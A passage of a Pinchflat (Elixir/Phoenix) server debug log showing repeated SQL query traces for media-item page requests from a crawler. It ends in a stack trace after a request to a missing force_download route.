t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [99] 22:20:40.607 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=556.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [98] 22:20:40.608 [debug] QUERY OK source="settings" db=0.2ms idle=556.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.608 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.609 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.610 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:40.612 [info] Sent 200 in 8ms 22:20:41.094 [info] GET /sources/2/media/64 22:20:41.095 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "64", "source_id" => "2"} Pipelines: [:browser] 22:20:41.096 [debug] QUERY OK source="media_items" db=0.5ms idle=487.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [64] 22:20:41.097 [debug] QUERY OK source="tasks" db=0.2ms idle=488.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [64] 22:20:41.097 [debug] QUERY OK source="sources" db=0.6ms idle=487.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:41.098 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=487.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [69] 22:20:41.099 [debug] QUERY OK source="settings" db=0.2ms idle=362.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.099 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.100 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.101 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:41.103 [info] Sent 200 in 9ms 22:20:41.628 [info] GET /sources/2/media/68 22:20:41.628 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "68", "source_id" => "2"} Pipelines: [:browser] 22:20:41.628 [debug] QUERY OK source="media_items" db=0.2ms idle=530.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [68] 22:20:41.629 [debug] QUERY OK source="tasks" db=0.1ms idle=529.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [68] 22:20:41.629 [debug] QUERY OK source="sources" db=0.3ms idle=529.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:41.630 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=529.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [73] 22:20:41.630 [debug] QUERY OK source="settings" db=0.1ms idle=529.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.631 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.631 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.632 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:41.644 [info] Sent 200 in 16ms 22:20:42.167 [info] GET /sources/1/media/25 22:20:42.167 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "25", "source_id" => "1"} Pipelines: [:browser] 22:20:42.168 [debug] QUERY OK source="media_items" db=0.2ms idle=537.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25] 22:20:42.168 [debug] QUERY OK source="tasks" db=0.1ms idle=537.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [25] 22:20:42.168 [debug] QUERY OK source="sources" db=0.2ms idle=536.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:42.168 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=536.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [28] 22:20:42.169 [debug] QUERY OK source="settings" db=0.1ms idle=431.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:42.169 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:42.169 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:42.170 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:42.176 [info] Sent 200 in 9ms 22:20:42.700 [info] GET /sources/1/media/77 22:20:42.700 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "77", "source_id" => "1"} Pipelines: [:browser] 22:20:42.701 [debug] QUERY OK source="media_items" db=0.3ms idle=532.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [77] 22:20:42.702 [debug] QUERY OK source="tasks" db=0.3ms idle=532.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [77] 22:20:42.702 [debug] QUERY OK source="sources" db=0.5ms idle=532.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:42.703 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=533.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [82] 22:20:42.704 [debug] QUERY OK source="settings" db=0.2ms idle=533.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:42.704 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:42.705 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:42.706 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:42.711 [info] Sent 200 in 11ms 22:20:43.236 [info] GET /sources/2/media/76 22:20:43.236 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76", "source_id" => "2"} Pipelines: [:browser] 22:20:43.236 [debug] QUERY OK source="media_items" db=0.2ms idle=532.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76] 22:20:43.237 [debug] QUERY OK source="tasks" db=0.2ms idle=532.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76] 22:20:43.237 [debug] QUERY OK source="sources" db=0.3ms idle=531.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:43.237 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=531.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [81] 22:20:43.237 [debug] QUERY OK source="settings" db=0.0ms idle=498.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:43.238 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:43.238 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:43.239 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:43.262 [info] Sent 200 in 26ms 22:20:43.753 [info] GET /sources/1/media/101/force_download 22:20:43.753 [debug] QUERY OK source="settings" db=0.0ms idle=515.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:43.754 [debug] QUERY OK source="settings" db=0.1ms idle=515.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:43.754 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:20:43.754 [error] #PID<0.4695.0> running PinchflatWeb.Endpoint (connection #PID<0.4694.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/101/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/101/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/101/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/101", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4695.0>, params: %{}, path_info: ["sources", "1", "media", "101", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/101"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/101/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDf6LVwiDrXpKAAAS6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/101/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 43780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => 